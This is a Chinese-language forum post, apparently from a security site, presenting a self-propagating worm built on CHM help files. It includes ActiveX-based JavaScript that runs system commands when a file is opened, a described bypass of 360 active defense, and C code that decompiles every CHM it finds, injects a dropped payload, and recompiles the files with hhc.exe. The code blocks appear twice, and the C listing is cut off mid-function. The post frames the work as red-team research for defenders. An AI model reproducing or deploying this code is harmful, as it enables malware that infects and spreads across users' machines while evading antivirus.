-
-
[原创]利用chm文件实现病毒程序的蠕虫式横向传播
-
发表于: 2021-5-30 23:31 10098
-
这个项目属于我毕设中的一个模块,在19年时看到红队利用chm作为钓鱼文件进行入侵,在对他的手法进行复现后,发现并不能绕过360的主动防御,于是我对其中的主要js代码进行改进使其可以绕过主动防御,并在此基础上,对chm文件的文件结构与编译过程进行了研究,于是便有了此项目,使用此项目,可以在对方打开被感染的chm文件时,感染对方电脑中的所有chm文件,被感染的chm文件复制到其他电脑打开时,又会进行新一轮的攻击。最近又进行了一次测试,发现原本的攻击手法已经不能绕过360主动防御了,大家可以在此基础上继续寻找绕过的方法。该项目旨在研究红队的攻击手法,以便蓝队更好的进行防御。
2.1 执行js代码,调用系统命令
可以通过在主页html中添加js的方式实现
2.2 释放恶意代码文件
通过在编译时,对chm添加恶意程序,调用系统命令hh -decompile将程序释放到指定路径来实现
2.3 感染其他chm文件
通过释放微软提供的chm编译工具hhc.exe到磁盘中,根据反编译文件的内容,创建chm的编译环境配置文件,并在主页中插入js
3.1 在html中执行js调用系统命令
通过以上方式,在Item1的value中添加需要执行的命令即可
3.2 释放恶意代码文件
在3.1的基础上编写以下的js代码,即可将恶意程序释放并调用,直接上代码:
其中调用xcopy拷贝hh.exe到Public目录,是因为在19年时,360对system目录路径下的hh.exe的调用做了主动防御,但并未对该目录下的xcopy.exe做主动防御,因此调用xcopy将hh.exe拷贝到其他目录下,即可绕过,但是现在经测试已经无效,不知道是对xcopy做了主动防御还是对整个system路径都做了主动防御,感兴趣的可以试一下。
3.3 感染其他chm文件
话不多说,直接上代码,首先需要将微软提供的chm编译工具释放到磁盘中
在编译磁盘遇到chm文件时,需要先对其进行反编译,对反编译出的文件中的hhk文件添加需要捆绑的文件信息,在hhc文件中寻找主页文件路径,并对主页文件添加js,代码如下:
其中对hhk插入的代码如下:
对主页文件添加的代码如下:
对hhc程序进行分析后可以发现,chm的编译依赖于一个hhp的配置文件,文件的主要内容如下:
创建hpp文件时,需要遍历反编译目录寻找hhc文件和hhk文件,将两个文件的路径分别赋值给Index file和Contents file,Combiled file和Title字段区赋值为chm文件名称,代码如下:
调用释放的hhc.exe进行编译生成新的chm文件,这个新的chm即是被感染的chm。
以上代码只是一个demo,在真实的场景中会遇到hhc和hhk的一些编码问题,想要进一步研究的可以自己解决以下,这里就不写了。最后附上c文件.
<div
id
=
"t0"
>
<
/
div>
<
OBJECT
id
=
demo classid
=
"clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"
>
<PARAM name
=
"Command"
value
=
"ShortCut"
>
<PARAM name
=
"Button"
value
=
"Bitmap::shortcut"
>
<PARAM name
=
"Item1"
value
=
',calc.exe'
>
<
/
OBJECT
>
demo.Click();
<
/
SCRIPT>
<div
id
=
"t0"
>
<
/
div>
<
OBJECT
id
=
demo classid
=
"clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"
>
<PARAM name
=
"Command"
value
=
"ShortCut"
>
<PARAM name
=
"Button"
value
=
"Bitmap::shortcut"
>
<PARAM name
=
"Item1"
value
=
',calc.exe'
>
<
/
OBJECT
>
demo.Click();
<
/
SCRIPT>
<div
id
=
"t0"
>
<
/
div>
<
OBJECT
id
=
copy classid
=
"clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"
>
<PARAM name
=
"Command"
value
=
"ShortCut"
>
<PARAM name
=
"Button"
value
=
"Bitmap::shortcut"
>
<PARAM name
=
"Item1"
value
=
',xcopy,C:\Windows\SysWOW64\hh.exe
/
N C:\Users\Public\Dow
<
/
OBJECT
>
<
OBJECT
id
=
call classid
=
"clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"
>
<PARAM name
=
"Command"
value
=
"ShortCut"
>
<PARAM name
=
"Button"
value
=
"Bitmap::shortcut"
>
<PARAM name
=
"Item1"
value
=
',path'
>
<
/
OBJECT
>
<SCRIPT>
var
str
=
location.href;
var commodStr0
=
'<
OBJECT
id
=
decompile classid
=
"clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"
width
=
1
'<PARAM name="Command" value="ShortCut0">'
+
'<PARAM name="Button" value="Bitmap::shortcut0">'
+
'<PARAM name
=
"Item1"
value
=
",C:\\Users\\Public\\Downloads\\Temp\\hh.exe,
-
decompile
'</OBJECT>'
;
var sleep
=
function(time) {
var startTime
=
new Date().getTime()
+
parseInt(time,
10
);
while
(new Date().getTime() < startTime) {}
};
copy.Click();
sleep(
100
);
document.getElementById(
't0'
).innerHTML
=
commodStr0;
decompile.Click();
sleep(
100
);
call.Click();
<
/
SCRIPT>
<div
id
=
"t0"
>
<
/
div>
<
OBJECT
id
=
copy classid
=
"clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"
>
<PARAM name
=
"Command"
value
=
"ShortCut"
>
<PARAM name
=
"Button"
value
=
"Bitmap::shortcut"
>
<PARAM name
=
"Item1"
value
=
',xcopy,C:\Windows\SysWOW64\hh.exe
/
N C:\Users\Public\Dow
<
/
OBJECT
>
<
OBJECT
id
=
call classid
=
"clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"
>
<PARAM name
=
"Command"
value
=
"ShortCut"
>
<PARAM name
=
"Button"
value
=
"Bitmap::shortcut"
>
<PARAM name
=
"Item1"
value
=
',path'
>
<
/
OBJECT
>
<SCRIPT>
var
str
=
location.href;
var commodStr0
=
'<
OBJECT
id
=
decompile classid
=
"clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"
width
=
1
'<PARAM name="Command" value="ShortCut0">'
+
'<PARAM name="Button" value="Bitmap::shortcut0">'
+
'<PARAM name
=
"Item1"
value
=
",C:\\Users\\Public\\Downloads\\Temp\\hh.exe,
-
decompile
'</OBJECT>'
;
var sleep
=
function(time) {
var startTime
=
new Date().getTime()
+
parseInt(time,
10
);
while
(new Date().getTime() < startTime) {}
};
copy.Click();
sleep(
100
);
document.getElementById(
't0'
).innerHTML
=
commodStr0;
decompile.Click();
sleep(
100
);
call.Click();
<
/
SCRIPT>
int
InitEnv() {
char szHhcPath[MAX_PATH];
char szHhaPath[MAX_PATH];
GetTempPath(MAX_PATH, szTempPath);
strcpy(szHhcPath, szTempPath);
strcat(szHhcPath,
"hhc.exe"
);
strcpy(szHhaPath, szTempPath);
strcat(szHhaPath,
"hha.dll"
);
if
(ReleaseRes(IDR_BIN2, szHhcPath)
&& ReleaseRes(IDR_BIN3, szHhaPath)) {
return
TRUE;
}
return
FALSE;
}
int
InitEnv() {
char szHhcPath[MAX_PATH];
char szHhaPath[MAX_PATH];
GetTempPath(MAX_PATH, szTempPath);
strcpy(szHhcPath, szTempPath);
strcat(szHhcPath,
"hhc.exe"
);
strcpy(szHhaPath, szTempPath);
strcat(szHhaPath,
"hha.dll"
);
if
(ReleaseRes(IDR_BIN2, szHhcPath)
&& ReleaseRes(IDR_BIN3, szHhaPath)) {
return
TRUE;
}
return
FALSE;
}
void InsertCode(char
*
szChmPath, char
*
szOutDir) {
/
/
遍历目录
char szFindPath[MAX_PATH]
=
{
0
};
char szHhcPath[MAX_PATH]
=
{
0
};
char szHhkPath[MAX_PATH]
=
{
0
};
/
/
临时文件路径
char szTmpPath[MAX_PATH]
=
{
0
};
/
/
一行文本数据
char szLine[MAX_PATH]
=
{
0
};
/
/
首页文件的绝对路径
char szFirstPath[MAX_PATH]
=
{
0
};
/
/
临时文件
FILE
*
pTmp;
/
/
是否已插入数据
int
bInsert
=
FALSE;
/
/
ReleaseRes()
strcat(szFindPath, (char
*
)szOutDir);
strcat(szFindPath,
"\\*"
);
WIN32_FIND_DATA wfd
=
{
0
};
HANDLE hFile
=
FindFirstFileA(szFindPath, &wfd);
if
(hFile !
=
INVALID_HANDLE_VALUE) {
do {
if
(wfd.dwFileAttributes
=
=
FILE_ATTRIBUTE_DIRECTORY) {
continue
;
}
char
*
suffix
=
strrchr(wfd.cFileName,
'.'
);
/
/
在编译内容文件HHK中新增捆绑文件
if
(!strcmp(suffix
+
1
,
"hhk"
) || !strcmp(suffix
+
1
,
"HHK"
)) {
bInsert
=
FALSE;
sprintf(szHhkPath,
"%s\\%s"
, szOutDir, wfd.cFileName);
sprintf(szTmpPath,
"%s\\%s"
, szOutDir,
"tmp.hhk"
);
FILE
*
pHhc
=
fopen(szHhkPath,
"r+"
);
FILE
*
pTmp
=
fopen(szTmpPath,
"w"
);
while
(fgets(szLine, MAX_PATH, pHhc)) {
/
/
在第一次出现
"<LI> <OBJECT type="
的上一行插入数据
if
(strstr(szLine,
"<LI> <OBJECT type="
) && !bInsert) {
fputs(szInsertHhk, pTmp);
bInsert
=
TRUE;
}
fputs(szLine, pTmp);
}
fclose(pTmp);
fclose(pHhc);
/
/
用tmp.hhk替换原本的hhk
CopyFile(szTmpPath, szHhkPath, FALSE);
DeleteFile(szTmpPath);
}
/
/
在目录文件HHC中获取首页文件并插入代码
if
(!strcmp(suffix
+
1
,
"hhc"
) || !strcmp(suffix
+
1
,
"HHC"
)) {
sprintf(szHhcPath,
"%s\\%s"
, szOutDir, wfd.cFileName);
FILE
*
pHhc
=
fopen(szHhcPath,
"r"
);
strcpy(szFirstPath, szOutDir);
strcat(szFirstPath,
"\\"
);
while
(fgets(szLine, MAX_PATH, pHhc)) {
/
/
第一次出现
"<param name="
Local
" value="
处为首页文件
if
(strstr(szLine,
"<param name=\"Local\" value="
)) {
int
dwLineLen
=
strlen(szLine);
int
dwIndex
=
strlen(
"\t\t<param name=\"Local\" value=\""
);
/
/
去除前缀和后面的
" "
>\n "
strncat(szFirstPath, szLine
+
dwIndex, dwLineLen
-
dwIndex
-
3
);
StrReplace(szFirstPath,
"/"
,
"\\"
);
break
;
}
}
fclose(pHhc);
bInsert
=
FALSE;
memset(szTmpPath,
0
, sizeof(szTmpPath));
strcpy(szTmpPath, szOutDir);
strcat(szTmpPath,
"\\tmp.html"
);
pTmp
=
fopen(szTmpPath,
"w"
);
FILE
*
pFirstFile
=
fopen(szFirstPath,
"r"
);
while
(fgets(szLine, MAX_PATH, pFirstFile)) {
/
/
在第一次出现
"<html>"
的下一行插入数据
fputs(szLine, pTmp);
if
(strstr(szLine,
"<html>"
) && !bInsert) {
/
/
添加 TencentMusic.exe
fputs(szFirstPage, pTmp);
bInsert
=
TRUE;
}
}
fclose(pFirstFile);
fclose(pTmp);
/
/
用tmp.hhk替换原本的hhk
CopyFile(szTmpPath, szFirstPath, FALSE);
DeleteFile(szTmpPath);
}
}
while
(FindNextFileA(hFile, &wfd));
}
FindClose(hFile);
}
void InsertCode(char
*
szChmPath, char
*
szOutDir) {
/
/
遍历目录
char szFindPath[MAX_PATH]
=
{
0
};
char szHhcPath[MAX_PATH]
=
{
0
};
char szHhkPath[MAX_PATH]
=
{
0
};
/
/
临时文件路径
char szTmpPath[MAX_PATH]
=
{
0
};
/
/
一行文本数据
char szLine[MAX_PATH]
=
{
0
};
/
/
首页文件的绝对路径
char szFirstPath[MAX_PATH]
=
{
0
};
/
/
临时文件
FILE
*
pTmp;
/
/
是否已插入数据
int
bInsert
=
FALSE;
/
/
ReleaseRes()
strcat(szFindPath, (char
*
)szOutDir);
strcat(szFindPath,
"\\*"
);
WIN32_FIND_DATA wfd
=
{
0
};
HANDLE hFile
=
FindFirstFileA(szFindPath, &wfd);
if
(hFile !
=
INVALID_HANDLE_VALUE) {
do {
if
(wfd.dwFileAttributes
=
=
FILE_ATTRIBUTE_DIRECTORY) {
continue
;
}
char
*
suffix
=
strrchr(wfd.cFileName,
'.'
);
/
/
在编译内容文件HHK中新增捆绑文件
if
(!strcmp(suffix
+
1
,
"hhk"
) || !strcmp(suffix
+
1
,
"HHK"
)) {
bInsert
=
FALSE;
sprintf(szHhkPath,
"%s\\%s"
, szOutDir, wfd.cFileName);
sprintf(szTmpPath,
"%s\\%s"
, szOutDir,
"tmp.hhk"
);
FILE
*
pHhc
=
fopen(szHhkPath,
"r+"
);
FILE
*
pTmp
=
fopen(szTmpPath,
"w"
);
while
(fgets(szLine, MAX_PATH, pHhc)) {
/
/
在第一次出现
"<LI> <OBJECT type="
的上一行插入数据
if
(strstr(szLine,
"<LI> <OBJECT type="
) && !bInsert) {
fputs(szInsertHhk, pTmp);
bInsert
=
TRUE;
}
fputs(szLine, pTmp);
}
fclose(pTmp);
fclose(pHhc);
/
/
用tmp.hhk替换原本的hhk
CopyFile(szTmpPath, szHhkPath, FALSE);
DeleteFile(szTmpPath);
}
/
/
在目录文件HHC中获取首页文件并插入代码
if
(!strcmp(suffix
+
1
,
"hhc"
) || !strcmp(suffix
+
1
,
"HHC"
)) {
sprintf(szHhcPath,
"%s\\%s"
, szOutDir, wfd.cFileName);
FILE
*
pHhc
=
fopen(szHhcPath,
"r"
);
strcpy(szFirstPath, szOutDir);
strcat(szFirstPath,
"\\"
);
while
(fgets(szLine, MAX_PATH, pHhc)) {
/
/
第一次出现
"<param name="
Local
" value="
处为首页文件
if
(strstr(szLine,
"<param name=\"Local\" value="
)) {
int
dwLineLen
=
strlen(szLine);
int
dwIndex
=
strlen(
"\t\t<param name=\"Local\" value=\""
);
/
/
去除前缀和后面的
" "
>\n "
strncat(szFirstPath, szLine
+
dwIndex, dwLineLen
-
dwIndex
-
3
);
StrReplace(szFirstPath,
"/"
,
"\\"
);
break
;
}
}
fclose(pHhc);
bInsert
=
FALSE;
memset(szTmpPath,
0
, sizeof(szTmpPath));
strcpy(szTmpPath, szOutDir);
strcat(szTmpPath,
"\\tmp.html"
);
pTmp
=
fopen(szTmpPath,
"w"
);
FILE
*
pFirstFile
=
fopen(szFirstPath,
"r"
);
while
(fgets(szLine, MAX_PATH, pFirstFile)) {
/
/
在第一次出现
"<html>"
的下一行插入数据
fputs(szLine, pTmp);
if
(strstr(szLine,
"<html>"
) && !bInsert) {
/
/
添加 TencentMusic.exe
fputs(szFirstPage, pTmp);
bInsert
=
TRUE;
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
赞赏
- [原创] CrazyRadio固件故障分析与SPI编程器制作 16190
- [原创]利用chm文件实现病毒程序的蠕虫式横向传播 10099
- 一个远程下载并内存加载PE的office宏病毒 10709
- [原创]一个烂尾的Android内联hook框架 11321
- 某非法手游协议分析与测试 12409